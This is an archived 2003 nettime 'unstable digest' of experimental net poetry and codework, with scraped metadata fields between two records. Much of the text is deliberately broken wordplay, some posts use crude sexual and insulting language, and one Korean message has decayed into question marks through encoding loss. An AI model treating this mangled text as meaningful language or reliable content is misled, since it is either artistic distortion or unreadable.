pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\ncross-pissing pissing cross-pissing pissing\n\n\napologies too for repetition\n\n\nrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionrep\netitionrepetitionrepetitionrepetitionrepetitionrepetitionrepeti\ntionrepetitionrepetitionrepetitionrepetitionrepetitionrepetitio\nnrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionre\npetitionrepetitionrepetitionrepetitionrepetitionrepetitionrepet\nitionrepetitionrepetitionrepetitionrepetitionrepetitionrepetiti\nonrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionr\nepetitionrepetitionrepetitionrepetitionrepetitionrepetitionrepe\ntitionrepetitionrepetitionrepetitionrepetitionrepetitionrepetit\nionrepetitionrepetitionrepetitionrepetitionrepetitionrepetition\nrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionrep\netitionrepetitionrepetitionrepetitionrepetitionrepetitionrepeti\ntionrepetitionrepetitionrepetitionrepetitionrepetitionrepetitio\nnrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionre\npetitionrepetitionrepetitionrepetitionrepetitionrepetitionrepet\nitionrepetitionrepetitionrepetitionrepetitionrepetitionrepetiti\nonrepetitionrepetitionrepetitionrepetitionrepetitionrepetitionr\nepetitionrepetitionrepetitionrepetitionrepetitionrepetitionrepe\ntitionrepetitionrepetitionrepetitionrepetitionrepetitionrepetit\nionrepetitionrepetitionrepetitionrepetitionrepetitionrepetition\n\n\nbut the first version of this went into negative cyberspace\n\n\nfirst version\nsecond version\nthird version\nfourth version\nfifth version\nsixth version\nseventh version\neighth version\nninth version\ntenth version\neleventh version\ntwelfth version\nthirteenth version\nfourteenth version\nfifteenth version\nsixteenth version\nseventeenth version\neighteenth version\nnineteenth version\ntwentieth version\n\n\nTo be added to the cross-pissing emailing list send a\nblank message\n\n\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\nblank message\n\n\nto\n\n\nPissingInfo-subscribe {AT} goldencybershowers.com\n\n\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\nscribe {AT} goldencybershowers.com\n\n\n\n\naugust highland\n2:11 am\n01-23-03\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.445 / Virus Database: 250 - Release Date: 1/22/2003\n\n\n\n\nFrom: \"c-k-h-r-o-m-a-s-c-h-i-n-e-s\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\nSubject: on\nDate: Fri, 24 Jan 2003 09:26:35 -0500\n\nNO\n\n\n\nDate:         Sat, 25 Jan 2003 17:00:34 -0800\nFrom: \"pulpsolipsis (riboduct)\" <solipsis {AT} HEVANET.COM>\nSubject: US-lute-rubriker\n\n\n\n=20\n=20\nUS-lute-rubriker\n =20\n=20\nUS.MAN DOG AVI FARLIGT T=C5GGERS\nUS.MAN DOG AVI NORDLIG VINDLAND\nUS.MAN DOG AVI FEL ADRESS.DEFAULT\nUS.MAN DOG AVI TR=C5KIGT SLUT-RUBRIK\nUS.MAN DOG AVI F=D6R M=C5NGA VARV-MINT\nUS.MAN DOG AVI GIFTIG V=C4XT-TRAUM\nUS.MAN DOG AVI LOTTERI-GUTS\nUS.MAN DOG AVI PARASIT-CLUB\nUS.MAN DOG F=D6R N=C5GON ANNANS BR=D6D-WARUM\nUS.MAN DOG F=D6R HISTORIENS G=C5NG-BANG\nUS.MAN DOG AVI HELIG SYN-THETICK\nUS.MAN DOG AVI H=C5LLBART REP-TIL;ESD\nUS.MAN DOG AVI NAVELSTR=C4NG/LERNS\nUS.MAN DOG P=C5 SVARTVIT FILM-ISH\nUS.MAN DOG AVI HUNGRIGT BETT=3DE\nUS.MAN DOG AVI ABSURD TRISTESS=3DA\nUS.MAN DOG AVI VALS P=C5 BALLS\nUS.MAN DOG AVI MYSTISK SIGNALS\nUS.MAN DOG AVI ONANI]SM,\nUS.MAN DOG AVI K=D6LAPPS-ALLERGI=3DKLUPF\nUS.MAN DOG P=C5 RENA LAKAN=3DMATHEME\nUS.MAN DOG F=D6R ORSAK OCH VERKAN=3DKO\nUS.MAN DOG TILL ALLAS GL=C4DJE=3DTRAID\nUS.MAN DOG MED F=D6RSEGLAT BREV=3DI\nUS.MAN DOG AVI HEMLIGA SK=C4L(SKUUL}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate:         Sat, 25 Jan 2003 13:35:50 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: You just can't make this stuff up -\n\nYou just can't make this stuff up -\n\n\n$ kill a/parent a/back/ a/wryting a/laptop\n/usr/local/bin/ksh: kill: a/parent: arguments must be jobs or process ids\n/usr/local/bin/ksh: kill: a/back/: arguments must be jobs or process ids\n/usr/local/bin/ksh: kill: a/wryting: arguments must be jobs or process ids\n/usr/local/bin/ksh: kill: a/laptop: arguments must be jobs or process ids\n$ arguments?\n/usr/local/bin/ksh: arguments?: not found\n$\n\n\n===\n\n\n\n\nFrom: \"susan_katz_nyc <revere1955 {AT} msn.com>\" <revere1955 {AT} msn.com>\nDate: Mon, 20 Jan 2003 23:55:57 -0000\nSubject: Re: _m.burr cha][r][nnel_\n\nbo.\nt][ex][t.led noses s.nif][f] \n:d] burning\n\n\n:]::s\nbris]*[Mo.hel][l!!!]\n\nN:d]izz[y]id.dish!!!!\n\n\n--- In webartery {AT} yahoogroups.com, \"hu][bris wo][man\" <netwurker {AT} h...> \nwrote:\n> \n> \n> ::][b][liz][z][ard m.burr channel.ling + ca][r][t white s][f]\n[izzling\n> ::d][pro r][ata.burb][l][ing + n.gines st.][w][retched in media \ncoatings\n> ::snuff.ages + broken bo.t][ex][t.led noses s.nif][ty][f the burning\n> \n> ::s.parks of lost hu][bris][man $cent][+re.seived][ +\n> ::r][p][acket dr.owning + c.har][d][.co][r(pus)e][al s.ti][me \n> bomb][ck][ing[p sheep\n> ::!!!!death. 2. allegra. fire.bugga!!!\n> \n> \n> \n> \n> - pro][tein][.logging.txt\n> -\n> -\n> \n> http://www.hotkey.net.au/~netwurker/\n> _\n> _sparks of lost hu][bris][man $cent][+re.seived][_\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\n\n\nnettime unstable digest vol 31\nMon Jan 27 18:10:14 2003\n\n\nSubject: *****SPAM***** Re: *****SPAM*****  *****SPAM***** \"SPAM MAPS #0001\"\n    From: Peter von Brandenburg <blackhawk {AT} thing.net>\n\nSubject: [+W]itch no[Drama.+t]ize\n    From: mez <netwurker {AT} hotkey.net.au>\n\nSubject: Itch Noize\n    From: mez <netwurker {AT} hotkey.net.au>\n\nSubject: [irc additional] +Witch noDrama.+tize\n    From: mez <netwurker {AT} hotkey.net.au>\n\nSubject: After Trakl (1 cycle)\n    From: MWP <mpalmer {AT} JPS.NET>\n\nSubject: UND::3-i./?  notand\n    From: \"c-k-h-r-o-m-a-s-c-h-i-n-e-s\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n\nSubject: wrecked poem\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: radio.m3u\n    From: =?windows-1252?Q?Bj=F8rn=20Magnhild=F8en?= <magh {AT} chello.no>\n\nSubject: short article on codework -\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: short article on codework -\n    From: lanny quarles <solipsis {AT} HEVANET.COM>\n\nSubject: Love\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: thextyle\n    From: =?windows-1252?Q?Bj=F8rn=20Magnhild=F8en?= <magh {AT} chello.no>\n\nSubject: SPAM MAPS #0002 \"apologies for cross-pissing\"\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: on\n    From: \"c-k-h-r-o-m-a-s-c-h-i-n-e-s\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n\nSubject: US-lute-rubriker\n    From: \"pulpsolipsis (riboduct)\" <solipsis {AT} HEVANET.COM>\n\nSubject: You just can't make this stuff up -\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: Re: _m.burr cha][r][nnel_\n    From: \"susan_katz_nyc <revere1955 {AT} msn.com>\" <revere1955 {AT} msn.com>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 27 Jan 2003 18:10:59 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200301272247.h0RMlws20178 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00147.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 31"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00086",
                "content": "\nFrom: =C7=FD=BF=F8<wjrqn {AT} hotmail.com>\nDate: Tue, 14 Jan 2003 07:10:35 +0000\nSubject: =C7=FD=BF=F8 =C0=D4=B4=CF=B4=D9\n\n?? ???\n=20\n?? ????.\n?? ???? ?? ?? ???.\n=20\n?????? ?? ??? ?? ??? ?? ?? ???\n? ??? ?? ?? ???? ??? ????? ?? ,\n?? ??? ?? ??? ???? ?? ???? ???.\n=20\n?? ??? ???? LA?? ??? ???? ????,\n?? ?? ??? ???,,,\n\n??? ??? ?? ???? ???? ?? ???,  ????\n?? ????? ????, ????? ? ??? ?? ? ??\n???? ??? ??? ??? ?? ??,\n??? ? ?? ?????? ??? ????\n???? ???? ??? ??? ??? ??? ????\n??? ?? ????.\n=20\n?? ??????, ?? ?????  ?? ??? ?????,\n??? ??? ??? ??? ? ?? ??? ??\n??? ????.=20\n\n??? ???? ???? 500?? ??? ????? ??\n?? ????,\n??, ??, ??, ??. ?? ,?? ??? ???? ??\n???? ??? ?????, ? ??? ??,\n??(??? ??). ????(??),\n??(??? ? ???? ?? ??? ??). ??(?, ?)?\n?? ??? ?? ???, ????? ?? ??? ???\n??? ???? ??? ??? ?? ??? ? ???\n?? ?? ????.\n=20\n?? ??? ,??? ???? ?? ? ????,\n?? ??? ???? ??? ???, ??? ????\n???? ?? ??? ?? ? ? ???,\n\n??? ??? ??? ? ??? ???? ?? ??????\n??? ?? ??? ???, ??? ?????? ?? ???\n????? ??? ?????? ??? ??? ?? ?????\n?? ?? ???? ? ??? ??? ?? ????\n?? ?? ??? ???? ??????.\n=20\n??? ??? ??? ??? ?? ????? ??? ???\n????? ???? ?? ??? ?? ?? ? ????\n?????.\n\n?? ???? ???, ? ?? ??? ???? ??? ??\n???? ??? ?? ? ??? ?? ????, ? ??\n???? ?? ???? ??? ??? ?? ?? ?????.\n=20\n???? ??? ?? ??? ?? ??? ??? ??? ??\n??? ??? ?? ??? ???? ??????? ???\n??? ?? ????? ??? ??? ??? ???,\n? ????? 2???? ???? ??????\n?? ??? ??? ??? ?? ?? ?? ????\n???? ???.=20\n=20\n??? ?? ???? ?? ? ??? ???? ????\n???? ???? ???? ?? ?? ???? ???? ?\n?? ??? ?? ????? ????\n\n?? ???? ?? ???? ??? ? ??? ?? ????\n??? ?? ??? ??? ? ???? ????.\n?? ??? ??? ???? ???, ? ??? ? ? ?? ?\n?? ???, ???? ??? ?? ???? ????\n2??? ??? ??? ????.\n=20\n? ??? ????? ?? ??? ??? ??? ?????\n??? ?? ???, ??? ??, ???? ,? ,?? ?\n???? ?? ?? ?? ???  ? ??? ??? ??\n? ?? ??? 1?? ?? ????? ?? ???? ???\n?? ???? .\n\n?? ??? ??? ?? ??  ???? ??, ????, ?,\n?????? ???? ?? ??? ???? ?? ??\n???? ??? ?? ?? ??? ???? ???\n?? ?? ?? ??? ???, ?? ??? ?? ?\n??? ?? ???? ????.\n=20\n\n??? ??? ???? ???? ??? ???\n? ?? ???? ?????.\n=20\n?? ??\n=20\n\n??? -  wjrqn {AT} hotmail.com\n=20\n???? - ????  659401- 01- 119102\n=20\n=20\n=20\n\n<<??? ??? ????? ????? ??? ???? ???? ??? ??\n   ?? ???? ?? ?????>>\n=20\n\n=20\n\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: o\t    so-/\nDate: Thu, 16 Jan 2003 16:22:28 +0100\n\n         o\n     so-/\n\\\\i--l-e m-en-t\\\\*\n\"9 9 3 1\",\n\" \tc n[l]one\",\n\".      c #F4F5F7\",\n\"+      c #E8E8EA\",\n\".........\",\n\"+++++++++\",\n\"+++++++++\",\nseu+l+ement;\n\".........\",\n\"+++++++++\",\n\"+++++++++\",\n\".........\",\n\"+++++++++\",\n\"+++++++++\"};\n\\\\\\\\ \\\\T\\\\\\\\\\\\\\\n                 |\n                 |\n                 |\n                 |\n                  |\n                 |\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\nDate:         Tue, 14 Jan 2003 21:47:42 +1100\nFrom: mez <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: OPPO.S[able].I.T[humbs]ION!!\n\nHello Arch.E.typal T[Claims of the n]ext W[h]orl.d\n     --------------------(mo.dueling 1.1 )-------------------\n\nN.terr.ing the net.wurk --\n::du n.OT enter _here_ with fal[low]se genera.tiffs + pathways poking\nva.Kant [c]littoral tomb[+age].\n::re.peat[bogging] + b d.[on the l]am.ned.\n::yr p[non-E-]lastic hollow play.jar.[*]istic[tock] met[riculation.s]hods\nsit badly in yr vetoed m[-c]outh.\n\nPr[t]inting --\n::spamnation. .r[l]u[re]ins. .all.\n\nExe.cut[up]able statements --\n::do knot a p.arse.r .make.\n::reti.cu[t]la[ss]te. yr. text.je[llied]wells .awe. .r[b]ust.\n\nR[l]un[ge]ning the pro.gram[mar] --\n::re.a[vataresque]ct[ors|actrestles] + provoke  {AT}  yr response per[b]il[e].\n::con.Seed.quenches r 2 b [s|w]allowed.\n::big boots make filth k.arm[N limb.ic cyst.M]a.\n\n\n\n\nDate: Thu, 16 Jan 2003 01:26:29 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: #1 REFRACTIONS\n\n#1 REFRACTIONS\n\nrrr eee fff rrr aaa ccc ttt iii ooo nnn sss r<< er> fer rfe arf car tca itc\noit noi sno rsn e<s fr< re> afr cre taf icr ota nic sot rni eso f<n rrs ae<\ncf> trr iae ocf ntr sia roc ent fsi r<o arn ces tf< ir> oar nce stf rir eoa\nfnc rst a<i cro ten ifs or< na> scr rte eif for rna asc c<t tri ieo ofn nrs\nsa< rc> etr fie rof anr csa t<c irt oei nfo srn ras ec< ft> rir aoe cnf tsr\ni<a orc net sfi rro ean fcs rt< ai> cor tne isf o<r nra sec rft eri fao rcn\nats ci< to> inr ose n<f srr rea efc frt rai aco ctn tis io< on> nsr s<e rrf\neer ffa rrc aat cci tto iin oos nn< ss> r<r ere fef rfr ara cac tct iti oio\nnon sns rs< e<> frr ree aff crr taa icc ott nii soo rnn ess f<< rr> aer cfe\ntrf iar oca ntc sit roi eno fsn r<s ar< ce> tfr ire oaf ncr sta ric eot fni\nrso a<n crs te< if> orr nae scf rtr eia foc rnt asi c<o trn ies of< nr> sar\nrce etf fir roa anc cst t<i iro oen nfs sr< ra> ecr fte rif aor cna tsc i<t\nori neo sfn rrs ea< fc> rtr aie cof tnr isa o<c nrt sei rfo ern fas rc< at>\ncir toe inf osr n<a src ret efi fro ran acs ct< ti> ior one nsf s<r rra eec\nfft rri aao ccn tts ii< oo> nnr sse r<f err fea rfc art cai tco itn ois no<\nsn> rsr e<e frf rer afa crc tat ici oto nin sos rn< es> f<r rre aef cfr tra\niac oct nti sio ron ens fs< r<> arr cee tff irr oaa ncc stt rii eoo fnn rss\na<< cr> ter ife orf nar sca rtc eit foi rno asn c<s tr< ie> ofr nre saf rcr\neta fic rot ani cso t<n irs oe< nf> srr rae ecf ftr ria aoc cnt tsi i<o orn\nnes sf< rr> ear fce rtf air coa tnc ist o<i nro sen rfs er< fa> rcr ate cif\ntor ina osc n<t sri reo efn frs ra< ac> ctr tie iof onr nsa s<c rrt eei ffo\nrrn aas cc< tt> iir ooe nnf ssr r<a erc fet rfi aro can tcs it< oi> nor sne\nrsf e<r fra rec aft cri tao icn ots ni< so> rnr ese f<f rrr aea cfc trt iai\noco ntn sis ro< en> fsr r<e arf cer tfa irc oat nci sto rin eos fn< rs> a<r\ncre tef ifr ora nac sct rti eio fon rns as< c<> trr iee off nrr saa rcc ett\nfii roo ann css t<< ir> oer nfe srf rar eca ftc rit aoi cno tsn i<s or< ne>\nsfr rre eaf fcr rta aic cot tni iso o<n nrs se< rf> err fae rcf atr cia toc\nint osi n<o srn res ef< fr> rar ace ctf tir ioa onc nst s<i rro een ffs rr<\naa> ccr tte iif oor nna ssc r<t eri feo rfn ars ca< tc> itr oie nof snr rsa\ne<c frt rei afo crn tas ic< ot> nir soe rnf esr f<a rrc aet cfi tro ian ocs\nnt< si> ror ene fsf r<r ara cec tft iri oao ncn sts ri< eo> fnr rse a<f crr\ntea ifc ort nai sco rtn eis fo< rn> asr c<e trf ier ofa nrc sat rci eto fin\nros an< cs> t<r ire oef nfr sra rac ect fti rio aon cns ts< i<> orr nee sff\nrrr eaa fcc rtt aii coo tnn iss o<< nr> ser rfe erf far rca atc cit toi ino\nosn n<s sr< re> efr fre raf acr cta tic iot oni nso s<n rrs ee< ff> rrr aae\nccf ttr iia ooc nnt ssi r<o ern fes rf< ar> car tce itf oir noa snc rst e<i\nfro ren afs cr< ta> icr ote nif sor rna esc f<t rri aeo cfn trs ia< oc> ntr\nsie rof enr fsa r<c art cei tfo irn oas nc< st> rir eoe fnf rsr a<a crc tet\nifi oro nan scs rt< ei> for rne asf c<r tra iec oft nri sao rcn ets fi< ro>\nanr cse t<f irr oea nfc srt rai eco ftn ris ao< cn> tsr i<e orf ner sfa rrc\neat fci rto ain cos tn< is> o<r nre sef rfr era fac rct ati cio ton ins os<\nn<> srr ree eff frr raa acc ctt tii ioo onn nss s<< rr> eer ffe rrf aar cca\nttc iit ooi nno ssn r<s er< fe> rfr are caf tcr ita oic not sni rso e<n frs\nre< af> crr tae icf otr nia soc rnt esi f<o rrn aes cf< tr> iar oce ntf sir\nroa enc fst r<i aro cen tfs ir< oa> ncr ste rif eor fna rsc a<t cri teo ifn\nors na< sc> rtr eie fof rnr asa c<c trt iei ofo nrn sas rc< et> fir roe anf\ncsr t<a irc oet nfi sro ran ecs ft< ri> aor cne tsf i<r ora nec sft rri eao\nfcn rts ai< co> tnr ise o<f nrr sea rfc ert fai rco atn cis to< in> osr n<e\nsrf rer efa frc rat aci cto tin ios on< ns> s<r rre eef ffr rra aac cct tti\niio oon nns ss< r<> err fee rff arr caa tcc itt oii noo snn rss e<< fr> rer\nafe crf tar ica otc nit soi rno esn f<s rr< ae> cfr tre iaf ocr nta sic rot\neni fso r<n ars ce< tf> irr oae ncf str ria eoc fnt rsi a<o crn tes if< or>\nnar sce rtf eir foa rnc ast c<i tro ien ofs nr< sa> rcr ete fif ror ana csc\nt<t iri oeo nfn srs ra< ec> ftr rie aof cnr tsa i<c ort nei sfo rrn eas fc<\nrt> air coe tnf isr o<a nrc set rfi ero fan rcs at< ci> tor ine osf n<r sra\nrec eft fri rao acn cts ti< io> onr nse s<f rrr eea ffc rrt aai cco ttn iis\noo< nn> ssr r<e erf fer rfa arc cat tci ito oin nos sn< rs> e<r fre ref afr\ncra tac ict oti nio son rns es< f<> rrr aee cff trr iaa occ ntt sii roo enn\nfss r<< ar> cer tfe irf oar nca stc rit eoi fno rsn a<s cr< te> ifr ore naf\nscr rta eic fot rni aso c<n trs ie< of> nrr sae rcf etr fia roc ant csi t<o\nirn oes nf< sr> rar ece ftf rir aoa cnc tst i<i oro nen sfs rr< ea> fcr rte\naif cor tna isc o<t nri seo rfn ers fa< rc> atr cie tof inr osa n<c srt rei\nefo frn ras ac< ct> tir ioe onf nsr s<a rrc eet ffi rro aan ccs tt< ii> oor\nnne ssf r<r era fec rft ari cao tcn its oi< no> snr rse e<f frr rea afc crt\ntai ico otn nis so< rn> esr f<e rrf aer cfa trc iat oci nto sin ros en< fs>\nr<r are cef tfr ira oac nct sti rio eon fns rs< a<> crr tee iff orr naa scc\nrtt eii foo rnn ass c<< tr> ier ofe nrf sar rca etc fit roi ano csn t<s ir<\noe> nfr sre raf ecr fta ric aot cni tso i<n ors ne< sf> rrr eae fcf rtr aia\ncoc tnt isi o<o nrn ses rf< er> far rce atf cir toa inc ost n<i sro ren efs\nfr< ra> acr cte tif ior ona nsc s<t rri eeo ffn rrs aa< cc> ttr iie oof nnr\nssa r<c ert fei rfo arn cas tc< it> oir noe snf rsr e<a frc ret afi cro tan\nics ot< ni> sor rne esf f<r rra aec cft tri iao ocn nts si< ro> enr fse r<f\narr cea tfc irt oai nco stn ris eo< fn> rsr a<e crf ter ifa orc nat sci rto\nein fos rn< as> c<r tre ief ofr nra sac rct eti fio ron ans cs< t<> irr oee\nnff srr raa ecc ftt rii aoo cnn tss i<< or> ner sfe rrf ear fca rtc ait coi\ntno isn o<s nr< se> rfr ere faf rcr ata cic tot ini oso n<n srs re< ef> frr\nrae acf ctr tia ioc ont nsi s<o rrn ees ff< rr> aar cce ttf iir ooa nnc sst\nr<i ero fen rfs ar< ca> tcr ite oif nor sna rsc e<t fri reo afn crs ta< ic>\notr nie sof rnr esa f<c rrt aei cfo trn ias oc< nt> sir roe enf fsr r<a arc\ncet tfi iro oan ncs st< ri> eor fne rsf a<r cra tec ift ori nao scn rts ei<\nfo> rnr ase c<f trr iea ofc nrt sai rco etn fis ro< an> csr t<e irf oer nfa\nsrc rat eci fto rin aos cn< ts> i<r ore nef sfr rra eac fct rti aio con tns\nis< o<> nrr see rff err faa rcc att cii too inn oss n<< sr> rer efe frf rar\naca ctc tit ioi ono nsn s<s rr< ee> ffr rre aaf ccr tta iic oot nni sso r<n\ners fe< rf> arr cae tcf itr oia noc snt rsi e<o frn res af< cr> tar ice otf\nnir soa rnc est f<i rro aen cfs tr< ia> ocr nte sif ror ena fsc r<t ari ceo\ntfn irs oa< nc> str rie eof fnr rsa a<c crt tei ifo orn nas sc< rt> eir foe\nrnf asr c<a trc iet ofi nro san rcs et< fi> ror ane csf t<r ira oec nft sri\nrao ecn fts ri< ao> cnr tse i<f orr nea sfc rrt eai fco rtn ais co< tn> isr\no<e nrf ser rfa erc fat rci ato cin tos in< os> n<r sre ref efr fra rac act\ncti tio ion ons ns< s<>\n\n\n\n\nDate: Mon, 13 Jan 2003 00:18:56 -0800\nFrom: AUGUST HIGHLAND <hmfah {AT} HOTMAIL.COM>\nSubject: more insults against me\n\nMay 26 riddled fundamentalists read War and Peace amongst my weaponry.\nMay 6 demonic linebackers smoke crack whilst I try to get a pizza without\nanchovies.\nMay 1,000 immature corporate raiders sing out of tune on my bedspread.\nMay 11 envious lumberjacks get jailed for indecent exposure around my house.\nMay an outrageous number of pushy opera singers listen to music under my\ncar.\nMay 19 avian bit-part actors binge and purge with my most prized\npossessions.\nMay a small number of conceited medical students go hunting in my\nimagination.\nMay 5 peachy cannibals build fallout shelters on my lawn.\nMay an indeterminate number of testy mimes sniff glue on my birthday.\nMay 28 soaking washroom attendants find a 'no-pest strip' in my garden.\nMay a secret society of rabid brownies sacrifice virgins on my television.\nMay precisely 12 insane photographers eat crackers on my toes.\nMay 13 noxious Occupational Therapists use sticky-backed plastic in my\ntumble dryer.\nMay 3 flatulent double-glazing salesmen Hoover up imaginary fish whilst I\norder fast food.\nMay 24 nubile travel agents learn another language in my anteroom.\nMay 55 frothy candy stripers eat huge meals on my watch.\nMay 17 lazy food service employees have a merry Christmas in my shaving\ncabinet.\nMay 1,024 overweight interior decorators train in guerrilla tactics in my\nwater tank.\nMay 47 hoary children goose step in my kettle.\nMay a handful of female chickens ring bells beneath my mattress.\nMay 30 pea-brained firemen vent noxious vapours in my bed.\nMay 25 grimy evangelists complain inside my head.\nMay 22 bilious top golfers wander for forty years in my attic.\nMay 42 moronic athletes tease my nipples in my wardrobe.\nMay 29 undead slaves start a compost heap whilst I hire a hit-man.\nMay 4 French sword-fighters examine their belly-button fluff whilst shouting\nat the top of their voices.\nMay a group of licentious undergraduate biology students sniff Madonna's\nunderwear whilst I're eating my dinner.\nMay a cult of inept exotic dancers clone sheep in my drawers.\nMay an impossible number of hallucinating civil servants play with dolls\nwhilst I call the police.\nMay an infinite number of pathetic game show hosts play with my genitals\nwhilst I try to ignore them.\nMay 21 annoyed tobacconists hibernate in my home.\nMay 9 festering professors make love on my stove.\nMay 12 terrifying lawyers open their mail whilst I hand out pamphlets.\nMay 7 earthy astronomers practice the bagpipes in my toilet.\nMay 27 ignorant administrators eat each other's belly-button fluff on my\nfront lawn.\nMay 256 senseless deadheads sacrifice animals in my pool.\nMay 8 crude yodellers empty chemical toilets without due care and attention.\nMay 15 Druidic lunch room attendants attempt to change my religion on my\nfavourite chair.\nMay 16 bloated shopkeepers learn to dance on my leather sofa.\nMay 20 deaf tramps slobber in my linen basket.\nMay 14 spotty palaeontologists light warning flares in my drug-induced\ndreams.\nMay a gaggle of sad camel salesmen plagiarise scientific papers in my\nheating duct.\nMay 10 masochistic scientologists play the fool in my living room.\nMay 23 imbecilic Trekkies deflower virgins whilst I try to raise the dead.\nMay 1,024 simple US Generals put up shelving with maximum offence to all\nconcerned.\nMay 22 obsequious jockeys inflate used condoms with my unwilling help.\nMay 12 pregnant carpenters form a support group near my mattress.\nMay a group of loaded sex therapists do cat impressions on my favourite\nclothes.\nMay 3 lustful newspaper reporters learn to cook in my refrigerator.\nMay 4 horrid customer service agents stomp on bagpipes in my fireplace.\nMay 14 stoned caretakers upset foreigners with members of my family.\nMay 1,000 loony squabbling philosophers discuss politics on my remote.\nMay a cult of depraved cub-scouts worship cheese with the aid of a\ngovernment grant.\nMay 25 fornicating head lice circumcise their first born in my sink.\nMay a handful of crippled truckers drink tea in my underpants.\n\n\n\n\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.443 / Virus Database: 248 - Release Date: 1/11/2003\n\n\n\n\nFrom: \"Frederic Madre\" <fmadre {AT} wanadoo.fr>\nSubject: Re:  VIOLENT OPPOSITION!!\nDate: Tue, 14 Jan 2003 10:28:03 +0100 (MET)\n\nI am violently opposed to your senseless cross-posting, you idiot.\n\nf.\n\n\n\n>Messsage du 14/01/2003 10:15\n>De : AUGUST HIGHLAND <hmfah3 {AT} hotmail.com>\n>A : ImitationPoetics <ImitationPoetics {AT} listserv.unc.edu>,  <webartery {AT} ya=\nhoogroups.com>,  <o-o {AT} konf.lt>,  <7-11 {AT} mail.ljudmila.org>, buffalo <POETIC=\nS {AT} listserv.BUFFALO.EDU>,  <owner-realpoetik {AT} scn.org>,  <_arc.hive_ {AT} lm.va.c=\nom.au>,  <syndicate {AT} anart.no>\n>Copie =E0 : \n>Objet : [syndicate] VIOLENT OPPOSITION!!  \n>\n>  \n> \n>[ message-footer.txt (1 Ko)]\n\n\n\n\n\nDate: Sun, 19 Jan 2003 01:02:38 +0100\nFrom: \"[windows-1252] Bj\u00f8rn Magnhild\u00f8en\" <magh {AT} chello.no>\nSubject: [windows-1252] [textile] \u00a8\u00e5\u00c6'\n\n\tsdfffsfdf\tQW\tQW\t\t\t\t\t\t\tQW\tQW\n\tW\t\t\t\t\t\t\t\tdfff fas\tfffds fasdfff\nfasdf asdf f f\tdasdffsd\t\tdfff fasdff f fasdf f fasdff f asdf f fasdf f\nfsdasdfg g asdf g \t\tQWgasdf g gasdf g gasdf g gasdfg \tg asdfg g asdfg g asdfg g asdfg\ng asdfg g asdfg g asdfg g asdfg g sadg g sadfg g\t\tQW sadfg g sdfg g\tasdfg g\nasdfg g asdfasdfg gasdfasdfg gasdfasdfg gasdfg g asdfg g asdfg g asdfg g asdfg g asdfg g\nasdfg \tQQWWg \t\tWasdfg g asdfg g sadfg g asdfg g asdfg g asdfg g asdfg g asdfg g asdfg g\nasdfg g asdfg g asdfg g asdfg g as\tQ\t\t\tWWdfg g asdfg g asdfg g asdfg g\nasdfasdfg gasdfasdfg gasdfg g asdg g asdfgt g asdfg g 